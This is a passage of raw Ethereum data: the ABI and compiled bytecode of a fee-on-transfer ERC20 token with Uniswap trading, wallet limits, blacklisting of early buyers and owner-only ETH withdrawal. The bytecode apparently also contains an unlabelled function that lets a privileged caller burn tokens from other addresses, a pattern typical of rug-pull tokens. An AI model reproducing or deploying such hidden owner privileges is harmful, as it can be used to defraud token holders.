uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract UniswapV2Router","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_DevFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_devWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxBuyAmount","type":"uint256"}],"name":"updateMaxBuyAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxSellAmount","type":"uint256"}],"name":"updateMaxSellAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxWalletAmount","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_DevFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSwapTokensThreshold","type":"uint256"}],"name":"updateSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600c819055600d556013805463ffffffff191663010000011790553480156200002e57600080fd5b506040518060400160405280600a81526020016923b7b2102330ba3432b960b11b8152506040518060400160405280600281526020016123a360f11b81525081600390816200007e9190620008ce565b5060046200008d8282620008ce565b5050506000620000a2620004c660201b60201c565b600580546001600160a01b0319166001600160a01b0383169081179091556040519192509060009060008051602062003dfd833981519152908290a350600a80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051339291829163c45a0155916004808201926020929091908290030181865afa15801562000149573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200016f91906200099a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001bd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e391906200099a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000231573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025791906200099a565b600980546001600160a01b0319166001600160a01b0392909216918217905562000283906001620004ca565b6009546200029c906001600160a01b0316600162000536565b600e80546001600160a01b0319908116730cfd70fd18cef98ea79700ae894369ff0e5e051917909155600f80549091167363cb1e7c71ca09de4f343333f0415ca7f20fc2691790556b033b2e3c9fd0803ce8000000606462000300826002620009e2565b6200030c919062000a02565b60075560646200031e826002620009e2565b6200032a919062000a02565b60085560646200033c826002620009e2565b62000348919062000a02565b6006556127106200035b826005620009e2565b62000367919062000a02565b600b5560146020819055602155600060228190556023819055600a601781905560198290556018819055601a829055620003a2828262000a25565b620003ae919062000a25565b620003ba919062000a25565b601655602354602154602254602054620003d5919062000a25565b620003e1919062000a25565b620003ed919062000a25565b601f55620003fd30600162000536565b6200040c61dead600162000536565b6200041983600162000536565b600f5462000432906001600160a01b0316600162000536565b600e546200044b906001600160a01b0316600162000536565b6200045830600162000599565b6200046761dead600162000599565b6200047483600162000599565b600f546200048d906001600160a01b0316600162000599565b600e54620004a6906001600160a01b0316600162000599565b620004b2838262000647565b620004bd836200072c565b50505062000a3b565b3390565b6001600160a01b0382166000908152602660205260409020805460ff1916821515179055620004fa828262000536565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b6001600160a01b038216600081815260256020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6005546001600160a01b03163314620005e85760405162461bcd60e51b8152602060048201819052602482015260008051602062003ddd83398151915260448201526064015b60405180910390fd5b6001600160a01b038216600081815260246020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b0382166200069f5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620005df565b8060026000828254620006b3919062000a25565b90915550506001600160a01b03821660009081526001602052604081208054839290620006e290849062000a25565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6005546001600160a01b03163314620007775760405162461bcd60e51b8152602060048201819052602482015260008051602062003ddd8339815191526044820152606401620005df565b6001600160a01b038116620007de5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401620005df565b6005546040516001600160a01b0380841692169060008051602062003dfd83398151915290600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200085457607f821691505b6020821081036200087557634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620008c957600081815260208120601f850160051c81016020861015620008a45750805b601f850160051c820191505b81811015620008c557828155600101620008b0565b5050505b505050565b81516001600160401b03811115620008ea57620008ea62000829565b6200090281620008fb84546200083f565b846200087b565b602080601f8311600181146200093a5760008415620009215750858301515b600019600386901b1c1916600185901b178555620008c5565b600085815260208120601f198616915b828110156200096b578886015182559484019460019091019084016200094a565b50858210156200098a5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600060208284031215620009ad57600080fd5b81516001600160a01b0381168114620009c557600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620009fc57620009fc620009cc565b92915050565b60008262000a2057634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620009fc57620009fc620009cc565b6133928062000a4b6000396000f3fe6080604052600436106103c75760003560e01c806388e765ff116101f2578063c18bc1951161010d578063dc3f0d0f116100a0578063e7ad9fcd1161006f578063e7ad9fcd14610aca578063e884f26014610aea578063f2fde38b14610aff578063fd35d1d614610b1f57600080fd5b8063dc3f0d0f14610a3b578063dd62ed3e14610a5b578063e086e5ec14610a9f578063e611bfdb14610ab457600080fd5b8063cef85139116100dc578063cef85139146109e3578063d0a39814146109f9578063d438431814610a0f578063dbbfff6314610a2557600080fd5b8063c18bc1951461096c578063c5b45ec01461098c578063c876d0b9146109ac578063cd51e6d4146109cd57600080fd5b8063a457c2d711610185578063abe43b1b11610154578063abe43b1b146108ff578063b9e9370014610916578063bbc0c7421461092c578063c02466681461094c57600080fd5b8063a457c2d714610889578063a9059cbb146108a9578063aa4bde28146108c9578063aacebbe3146108df57600080fd5b806390aa2ea6116101c157806390aa2ea61461080e57806395d89b411461083e5780639a7a23d6146108535780639fccce321461087357600080fd5b806388e765ff146107a55780638a8c523c146107bb5780638baa63b2146107d05780638da5cb5b146107f057600080fd5b80634a62bb65116102e2578063715018a61161027557806376c702bf1161024457806376c702bf1461073357806382cab13014610749578063868f0a741461075f578063882c3d981461077557600080fd5b8063715018a6146106d3578063737952e6146106e8578063751039fc146106fe5780637571336a1461071357600080fd5b80636ad6a9fb116102b15780636ad6a9fb1461065e5780636b0a894c1461067e5780636ddd17131461069457806370a08231146106b357600080fd5b80634a62bb65146105e857806359d24b8e146106025780635c457eae1461063257806366d602ae1461064857600080fd5b80632be32b611161035a578063395093511161032957806339509351146105655780633a5abf3d1461058557806343776499146105b257806349bd5a5e146105c857600080fd5b80632be32b61146104f35780632c0a2964146105135780632e6ed7ef14610529578063313ce5671461054957600080fd5b80631816467f116103965780631816467f146104855780631a8145bb146104a75780631f3fed8f146104bd57806323b872dd146104d357600080fd5b806306fdde03146103d3578063095ea7b3146103fe5780631694505e1461042e57806318160ddd1461046657600080fd5b366103ce57005b600080fd5b3480156103df57600080fd5b506103e8610b35565b6040516103f59190612f42565b60405180910390f35b34801561040a57600080fd5b5061041e610419366004612fa8565b610bc7565b60405190151581526020016103f5565b34801561043a57600080fd5b50600a5461044e906001600160a01b031681565b6040516001600160a01b0390911681526020016103f5565b34801561047257600080fd5b506002545b6040519081526020016103f5565b34801561049157600080fd5b506104a56104a0366004612fd4565b610bde565b005b3480156104b357600080fd5b50610477601d5481565b3480156104c957600080fd5b50610477601b5481565b3480156104df57600080fd5b5061041e6104ee366004612ff1565b610c89565b3480156104ff57600080fd5b506104a561050e366004613032565b610d33565b34801561051f57600080fd5b5061047760155481565b34801561053557600080fd5b506104a561054436600461304b565b610e40565b34801561055557600080fd5b50604051601281526020016103f5565b34801561057157600080fd5b5061041e610580366004612fa8565b610ee3565b34801561059157600080fd5b506104776105a0366004612fd4565b60126020526000908152604090205481565b3480156105be57600080fd5b5061047760185481565b3480156105d457600080fd5b5060095461044e906001600160a01b031681565b3480156105f457600080fd5b5060135461041e9060ff1681565b34801561060e57600080fd5b5061041e61061d366004612fd4565b60116020526000908152604090205460ff1681565b34801561063e57600080fd5b50610477601a5481565b34801561065457600080fd5b5061047760085481565b34801561066a57600080fd5b506104a561067936600461307d565b610f1d565b34801561068a57600080fd5b5061047760145481565b3480156106a057600080fd5b5060135461041e90610100900460ff1681565b3480156106bf57600080fd5b506104776106ce366004612fd4565b610f74565b3480156106df57600080fd5b506104a5610f8f565b3480156106f457600080fd5b5061047760205481565b34801561070a57600080fd5b506104a5611003565b34801561071f57600080fd5b506104a561072e3660046130b2565b61106a565b34801561073f57600080fd5b5061047760175481565b34801561075557600080fd5b5061047760235481565b34801561076b57600080fd5b5061047760215481565b34801561078157600080fd5b5061041e610790366004612fd4565b60256020526000908152604090205460ff1681565b3480156107b157600080fd5b5061047760075481565b3480156107c757600080fd5b506104a5611132565b3480156107dc57600080fd5b506104a56107eb366004613032565b6111f5565b3480156107fc57600080fd5b506005546001600160a01b031661044e565b34801561081a57600080fd5b5061041e610829366004612fd4565b60266020526000908152604090205460ff1681565b34801561084a57600080fd5b506103e8611340565b34801561085f57600080fd5b506104a561086e3660046130b2565b61134f565b34801561087f57600080fd5b50610477601c5481565b34801561089557600080fd5b5061041e6108a4366004612fa8565b611443565b3480156108b557600080fd5b5061041e6108c4366004612fa8565b6114da565b3480156108d557600080fd5b5061047760065481565b3480156108eb57600080fd5b506104a56108fa366004612fd4565b6114e7565b34801561090b57600080fd5b50600d54431061041e565b34801561092257600080fd5b5061047760165481565b34801561093857600080fd5b5060135461041e9062010000900460ff1681565b34801561095857600080fd5b506104a56109673660046130b2565b611595565b34801561097857600080fd5b506104a5610987366004613032565b61161e565b34801561099857600080fd5b506104a56109a7366004612fd4565b611727565b3480156109b857600080fd5b5060135461041e906301000000900460ff1681565b3480156109d957600080fd5b50610477600c5481565b3480156109ef57600080fd5b50610477600b5481565b348015610a0557600080fd5b50610477601f5481565b348015610a1b57600080fd5b5061047760225481565b348015610a3157600080fd5b50610477601e5481565b348015610a4757600080fd5b506104a5610a56366004613032565b611772565b348015610a6757600080fd5b50610477610a763660046130f0565b6001600160a01b0391821660009081526020818152604080832093909416825291909152205490565b348015610aab57600080fd5b506104a5611879565b348015610ac057600080fd5b50610477600d5481565b348015610ad657600080fd5b506104a5610ae536600461304b565b6118e5565b348015610af657600080fd5b506104a5611985565b348015610b0b57600080fd5b506104a5610b1a366004612fd4565b6119be565b348015610b2b57600080fd5b5061047760195481565b606060038054610b449061311e565b80601f0160208091040260200160405190810160405280929190818152602001828054610b709061311e565b8015610bbd5780601f10610b9257610100808354040283529160200191610bbd565b820191906000526020600020905b815481529060010190602001808311610ba057829003601f168201915b5050505050905090565b6000610bd4338484611aa9565b5060015b92915050565b6005546001600160a01b03163314610c115760405162461bcd60e51b8152600401610c0890613158565b60405180910390fd5b6001600160a01b038116610c675760405162461bcd60e51b815260206004820152601e60248201527f5f64657657616c6c657420616464726573732063616e6e6f74206265203000006044820152606401610c08565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6000610c96848484611bcc565b6001600160a01b03841660009081526020818152604080832033845290915290205482811015610d195760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610c08565b610d268533858403611aa9565b60019150505b9392505050565b6005546001600160a01b03163314610d5d5760405162461bcd60e51b8152600401610c0890613158565b670de0b6b3a76400006103e8610d7260025490565b610d7d9060026131a3565b610d8791906131ba565b610d9191906131ba565b811015610df25760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152687468616e20302e322560b81b6064820152608401610c08565b610e0481670de0b6b3a76400006131a3565b60078190556040519081527ffcc0366804aaa8dbf88a2924100c733b70dec8445957a5d5f8ff92898de41009906020015b60405180910390a150565b6005546001600160a01b03163314610e6a5760405162461bcd60e51b8152600401610c0890613158565b601784905560198390556018829055601a8190558082610e8a85876131dc565b610e9491906131dc565b610e9e91906131dc565b601681905560031015610edd5760405162461bcd60e51b8152602060048201526007602482015266019929036b0bc160cd1b6044820152606401610c08565b50505050565b336000818152602081815260408083206001600160a01b03871684529091528120549091610bd4918590610f189086906131dc565b611aa9565b600b543090610f2b82610f74565b1015610f3657600080fd5b610f418484846127e3565b15610edd57600f805460ff60a01b1916600160a01b179055610f6161287d565b600f805460ff60a01b1916905550505050565b6001600160a01b031660009081526001602052604090205490565b6005546001600160a01b03163314610fb95760405162461bcd60e51b8152600401610c0890613158565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b0316331461102d5760405162461bcd60e51b8152600401610c0890613158565b6002546006556002546007556002546008556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b6005546001600160a01b031633146110945760405162461bcd60e51b8152600401610c0890613158565b80611107576009546001600160a01b03908116908316036111075760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b6064820152608401610c08565b6001600160a01b03919091166000908152602560205260409020805460ff1916911515919091179055565b6005546001600160a01b0316331461115c5760405162461bcd60e51b8152600401610c0890613158565b60135462010000900460ff16156111b55760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207265656e61626c652074726164696e670000000000000000006044820152606401610c08565b6013805462ffff0019166201010017905543600c556040517fa56feb2d31b9a7424db0be063fd450863979c9e2382cf5110f869bd1ad361bb790600090a1565b6005546001600160a01b0316331461121f5760405162461bcd60e51b8152600401610c0890613158565b620186a061122c60025490565b6112379060016131a3565b61124191906131ba565b8110156112ae5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610c08565b6103e86112ba60025490565b6112c59060016131a3565b6112cf91906131ba565b81111561133b5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b6064820152608401610c08565b600b55565b606060048054610b449061311e565b6005546001600160a01b031633146113795760405162461bcd60e51b8152600401610c0890613158565b6009546001600160a01b03908116908316036113fd5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610c08565b6114078282612a85565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b336000908152602081815260408083206001600160a01b0386168452909152812054828110156114c35760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610c08565b6114d03385858403611aa9565b5060019392505050565b6000610bd4338484611bcc565b6005546001600160a01b031633146115115760405162461bcd60e51b8152600401610c0890613158565b6001600160a01b0381166115735760405162461bcd60e51b8152602060048201526024808201527f5f6d61726b6574696e6757616c6c657420616464726573732063616e6e6f74206044820152630626520360e41b6064820152608401610c08565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146115bf5760405162461bcd60e51b8152600401610c0890613158565b6001600160a01b038216600081815260246020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146116485760405162461bcd60e51b8152600401610c0890613158565b670de0b6b3a76400006103e861165d60025490565b6116689060036131a3565b61167291906131ba565b61167c91906131ba565b8110156116e05760405162461bcd60e51b815260206004820152602c60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760448201526b6572207468616e20302e332560a01b6064820152608401610c08565b6116f281670de0b6b3a76400006131a3565b60068190556040519081527fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc90602001610e35565b6005546001600160a01b031633146117515760405162461bcd60e51b8152600401610c0890613158565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6005546001600160a01b0316331461179c5760405162461bcd60e51b8152600401610c0890613158565b670de0b6b3a76400006103e86117b160025490565b6117bc9060026131a3565b6117c691906131ba565b6117d091906131ba565b8110156118325760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015269207468616e20302e322560b01b6064820152608401610c08565b61184481670de0b6b3a76400006131a3565b60088190556040519081527f53c4eb831d8cfeb750f1c62590d8cd30f4c6f0380d29a05caa09f0d92588560e90602001610e35565b6005546001600160a01b031633146118a35760405162461bcd60e51b8152600401610c0890613158565b604051600090339047908381818185875af1925050503d8060008114610edd576040519150601f19603f3d011682016040523d82523d6000602084013e610edd565b6005546001600160a01b0316331461190f5760405162461bcd60e51b8152600401610c0890613158565b6020849055602283905560218290556023819055808261192f85876131dc565b61193991906131dc565b61194391906131dc565b601f81905560031015610edd5760405162461bcd60e51b815260206004820152600a6024820152693325206d61782066656560b01b6044820152606401610c08565b6005546001600160a01b031633146119af5760405162461bcd60e51b8152600401610c0890613158565b6013805463ff00000019169055565b6005546001600160a01b031633146119e85760405162461bcd60e51b8152600401610c0890613158565b6001600160a01b038116611a4d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c08565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611b0b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c08565b6001600160a01b038216611b6c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c08565b6001600160a01b038381166000818152602081815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316611bf25760405162461bcd60e51b8152600401610c08906131ef565b6001600160a01b038216611c185760405162461bcd60e51b8152600401610c0890613234565b60008111611c685760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610c08565b60135462010000900460ff16611cfc576001600160a01b03831660009081526024602052604090205460ff1680611cb757506001600160a01b03821660009081526024602052604090205460ff165b611cfc5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610c08565b600d5415611da6576001600160a01b03831660009081526011602052604090205460ff161580611d3957506005546001600160a01b038381169116145b80611d4e57506001600160a01b03821661dead145b611da65760405162461bcd60e51b815260206004820152602360248201527f626f742070726f74656374696f6e206d656368616e69736d20697320656d626560448201526219195960ea1b6064820152608401610c08565b60135460ff1615612238576005546001600160a01b03848116911614801590611ddd57506005546001600160a01b03838116911614155b8015611df157506001600160a01b03821615155b8015611e0857506001600160a01b03821661dead14155b8015611e2d57506001600160a01b03831660009081526024602052604090205460ff16155b8015611e5257506001600160a01b03821660009081526024602052604090205460ff16155b15611fca576013546301000000900460ff1615611fca576001600160a01b038316600090815260266020526040812054600f5460ff9182161592600160a01b9091049091161590828015611ea35750815b600a549091506001600160a01b03868116911614801590611ed257506009546001600160a01b03868116911614155b15611f9557611ee2600243613277565b32600090815260106020526040902054108015611f205750611f05600243613277565b6001600160a01b038616600090815260106020526040902054105b611f6c5760405162461bcd60e51b815260206004820152601d60248201527f5f7472616e736665723a2064656c61792077617320656e61626c65642e0000006044820152606401610c08565b3260009081526010602052604080822043908190556001600160a01b0388168352912055611fc6565b8015611fc6576001600160a01b038616600090815260126020526040902054601554811180611fc357600080fd5b50505b5050505b6001600160a01b03831660009081526025602090815260408083205460269092529091205460ff9182169116801561201b57506001600160a01b03831660009081526025602052604090205460ff16155b156120e7576007548211156120835760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b6064820152608401610c08565b60065461208f84610f74565b61209990846131dc565b11156120e25760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610c08565b612236565b600f54600160a01b900460ff161580156120fe5750805b1561210c5742601555612236565b6001600160a01b03831660009081526026602052604090205460ff16801561214d57506001600160a01b03841660009081526025602052604090205460ff16155b156121b7576008548211156120e25760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b6064820152608401610c08565b6001600160a01b03831660009081526025602052604090205460ff16612236576006546121e384610f74565b6121ed90846131dc565b11156122365760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610c08565b505b600061224330610f74565b600b54909150811080159081906122615750601354610100900460ff165b80156122775750600f54600160a01b900460ff16155b801561229c57506001600160a01b03851660009081526026602052604090205460ff16155b80156122c157506001600160a01b03851660009081526024602052604090205460ff16155b80156122e657506001600160a01b03841660009081526024602052604090205460ff16155b1561231457600f805460ff60a01b1916600160a01b17905561230661287d565b600f805460ff60a01b191690555b6001600160a01b038516600090815260246020526040902054429060019060ff168061235857506001600160a01b03861660009081526024602052604090205460ff165b15612361575060005b600061236c87610f74565b6001600160a01b03808a16600090815260266020908152604080832054938c16835260129091529020549115925060ff1690158080156123a95750815b156123d05782156123d0576001600160a01b03891660009081526012602052604090208590555b600084156127cb57600d544310801561240157506001600160a01b038b1660009081526026602052604090205460ff165b801561242657506001600160a01b038a1660009081526026602052604090205460ff16155b801561243457506000601654115b156125b4576001600160a01b038a1660009081526011602052604090205460ff166124d4576001600160a01b038a166000908152601160205260408120805460ff1916600190811790915560148054919290916124929084906131dc565b90915550506040516001600160a01b038b1681527f3d71e4a70676213519dc777e6e5b0ac4d021b9d144b673b89d0df519a879a83e9060200160405180910390a15b60646124e18a60636131a3565b6124eb91906131ba565b9050601654601954826124fe91906131a3565b61250891906131ba565b601d600082825461251991906131dc565b909155505060165460175461252e90836131a3565b61253891906131ba565b601b600082825461254991906131dc565b909155505060165460185461255e90836131a3565b61256891906131ba565b601c600082825461257991906131dc565b9091555050601654601a5461258e90836131a3565b61259891906131ba565b601e60008282546125a991906131dc565b909155506127ad9050565b6001600160a01b038a1660009081526026602052604090205460ff1680156125de57506000601f54115b156126a0576064601f548a6125f391906131a3565b6125fd91906131ba565b9050601f546022548261261091906131a3565b61261a91906131ba565b601d600082825461262b91906131dc565b9091555050601f5460205461264090836131a3565b61264a91906131ba565b601b600082825461265b91906131dc565b9091555050601f5460215461267090836131a3565b61267a91906131ba565b601c600082825461268b91906131dc565b9091555050601f5460235461258e90836131a3565b6001600160a01b038b1660009081526026602052604090205460ff1680156126ca57506000601654115b156127ad5760646016548a6126df91906131a3565b6126e991906131ba565b9050601654601954826126fc91906131a3565b61270691906131ba565b601d600082825461271791906131dc565b909155505060165460175461272c90836131a3565b61273691906131ba565b601b600082825461274791906131dc565b909155505060165460185461275c90836131a3565b61276691906131ba565b601c600082825461277791906131dc565b9091555050601654601a5461278c90836131a3565b61279691906131ba565b601e60008282546127a791906131dc565b90915550505b80156127be576127be8b3083612ab3565b6127c8818a613277565b98505b6127d68b8b8b612ab3565b5050505050505050505050565b33600081815260246020526040812054909190309060ff168381612841576000601e5411801561281d5750601e5461281a84610f74565b10155b1561282e5761282e84601e54612c08565b50506000601e555060019150610d2c9050565b600061284c84610f74565b1115612872578660000361286457601586905561286e565b61286e8888612c08565b5060005b9350610d2c92505050565b6000601e541180156128995750601e5461289630610f74565b10155b156128aa576128aa30601e54612c08565b6000601e8190556128ba30610f74565b90506000601c54601b54601d546128d191906131dc565b6128db91906131dc565b90508115806128e8575080155b156128f1575050565b600b546128ff9060096131a3565b82111561291757600b546129149060096131a3565b91505b6000600282601d548561292a91906131a3565b61293491906131ba565b61293e91906131ba565b905061295261294d8285613277565b612cd3565b601d5447908190600090612968906002906131ba565b6129729086613277565b601b5461297f90856131a3565b61298991906131ba565b905060006002601d5461299c91906131ba565b6129a69087613277565b601c546129b390866131a3565b6129bd91906131ba565b90506129c981836131dc565b6129d39084613277565b6000601d819055601b819055601c819055601e55925084158015906129f85750600083115b15612a0757612a078584612e2d565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612a41573d6000803e3d6000fd5b50600e546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015612a7b573d6000803e3d6000fd5b5050505050505050565b6001600160a01b0382166000908152602660205260409020805460ff19168215151790556114078282612edf565b6001600160a01b038316612ad95760405162461bcd60e51b8152600401610c08906131ef565b6001600160a01b038216612aff5760405162461bcd60e51b8152600401610c0890613234565b6001600160a01b03831660009081526001602052604090205481811015612b775760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610c08565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290612bae9084906131dc565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612bfa91815260200190565b60405180910390a350505050565b6001600160a01b038216612c385760405162461bcd60e51b81526020600482015260006024820152604401610c08565b6001600160a01b03821660009081526001602052604090205481811015612c7b5760405162461bcd60e51b81526020600482015260006024820152604401610c08565b6001600160a01b03831660008181526001602090815260408083208686039055600280548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101611bbf565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612d0857612d0861328a565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612d61573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d8591906132a0565b81600181518110612d9857612d9861328a565b6001600160a01b039283166020918202929092010152600a54612dbe9130911684611aa9565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac94790612df79085906000908690309042906004016132bd565b600060405180830381600087803b158015612e1157600080fd5b505af1158015612e25573d6000803e3d6000fd5b505050505050565b600a54612e459030906001600160a01b031684611aa9565b600a5460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015612eb3573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612ed8919061332e565b5050505050565b6001600160a01b038216600081815260256020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b600060208083528351808285015260005b81811015612f6f57858101830151858201604001528201612f53565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114612fa557600080fd5b50565b60008060408385031215612fbb57600080fd5b8235612fc681612f